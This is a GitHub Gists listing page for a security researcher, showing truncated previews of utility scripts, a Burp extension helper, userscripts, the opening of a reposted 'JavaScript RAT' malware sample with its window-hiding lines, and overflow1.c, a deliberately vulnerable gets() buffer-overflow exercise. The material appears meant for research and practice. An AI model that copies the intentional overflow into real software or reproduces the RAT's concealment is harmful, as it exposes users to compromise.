Skip to content

Instantly share code, notes, and snippets.

@1lastBr3ath
1lastBr3ath / pre-commit
Created Nov 4, 2020
GitHub pre-commit hook to generate tree structure of documents along with hyperlink
View pre-commit
#!/usr/bin/env bash
README="${1:-README.md}"
HEAD="$(head -n5 "$README")"
cat > "$README" <<< "$HEAD"
#echo "## Table of Contents" >> "$README"
tree -f --dirsfirst --noreport -I README.md | sed -r '1d; s#\.\/(.+)#[\1]\(<./\1\>)#g; s#\[[^]/]+\/#[#g; s/$/ /g' >> "$README"
git add "$README"
View pyscripter_utils.py
from burp import IScanIssue
class CustomIssue(IScanIssue):
def __init__(self, BasePair, Confidence='Certain', IssueBackground=None, IssueDetail=None, IssueName='Python Scripter generated issue', RemediationBackground=None, RemediationDetail=None, Severity='High'):
self.HttpMessages=[BasePair] # list of HTTP Messages
self.HttpService=BasePair.getHttpService() # HTTP Service
self.Url=BasePair.getUrl() # Java URL
self.Confidence = Confidence # "Certain", "Firm" or "Tentative"
self.IssueBackground = IssueBackground # String or None
self.IssueDetail = IssueDetail # String or None
View genesis_public_key
0426d745099db7b539cb468b3b4e7f9ff74d289b7dc308f98485ae642902fc5baa32e46eb75afe00dceee653bea64551ef61f4f975d90f3a1b390c717664e29fd7
View JavaScript RAT
## uploaded by @JohnLaTwC
## sample hash: 1d37e2a657ccc595c7a5544df6fd2d35739455f3fdbc2d2700835873130befde
<html>
<head>
<script language="JScript">
window.resizeTo(1, 1);
window.moveTo(-2000, -2000);
window.blur();
try
View linkfinder.md
  • Navigate to page from where you want to extract links
  • Open your browser's console and paste the following ;
    document.querySelectorAll('script[src]').forEach((i)=>document.write(i.src+'<br/>'))
  • Copy all links and write it into a file (ex: jslinks.txt)
  • Open your terminal and cd to directory where you've downloaded LinkFinder
  • Run the following command
    while IFS= read link; do python linkfinder.py -i "$link" -o cli; done < jslinks.txt | tee -a output.html
@1lastBr3ath
1lastBr3ath / mimetypes.sniff.txt
Last active May 19, 2018
A list of mime types which are sniffed or can be sniffed, ran against IE mode 7 (X-UA-Compatible: IE=7)
View mimetypes.sniff.txt
application/3gpp-ims
application/A2L
application/activemessage
application/alto-costmap
application/alto-directory
application/alto-endpointcost
application/alto-endpointcostparams
application/alto-endpointprop
application/alto-endpointpropparams
application/alto-error
View uber.py
#!/usr/bin/python
import re
import sys
import json
import requests
# function to send requests
def fetch(url, headers, method=None, payload=None):
if method is None: method='GET'
@1lastBr3ath
1lastBr3ath / BTC2USD_for_poloniex.user.js
Last active Jun 10, 2017
Converts BTC to USD at current rate from cex.io & calculates Total investment plus current margin profit/loss
View BTC2USD_for_poloniex.user.js
// ==UserScript==
// @name BTC2USD
// @namespace @1lastBr3ath
// @author @1lastBr3ath
// @description Converts BTC to USD at current rate from cex.io & calculates Total investment plus current margin profit/loss
// @include /https?:\/\/([a-z0-9._-]+\.)?poloniex\.com\/[a-z0-9._-]+/
// @version 0.1
// @runat document-end
// @grant none
// ==/UserScript==
@1lastBr3ath
1lastBr3ath / reddit_new_posts.user.js
Last active Jun 10, 2017
Auto navigate to New posts when requested reddit.com/r
View reddit_new_posts.user.js
// ==UserScript==
// @name reddit | NEW Posts
// @namespace @1lastBr3ath
// @description Auto navigate to new posts when requested reddit.com/r
// @include /https?:\/\/[a-z0-9._-]+\.reddit\.com\/r\/[a-z0-9._-]+\/?/
// @version 1.0
// @grant none
// @runat document-start
// ==/UserScript==
View overflow1.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main() {
char buf[20];
int x = 0;
gets(buf);
if (x == 1337) {
gid_t gid = getegid();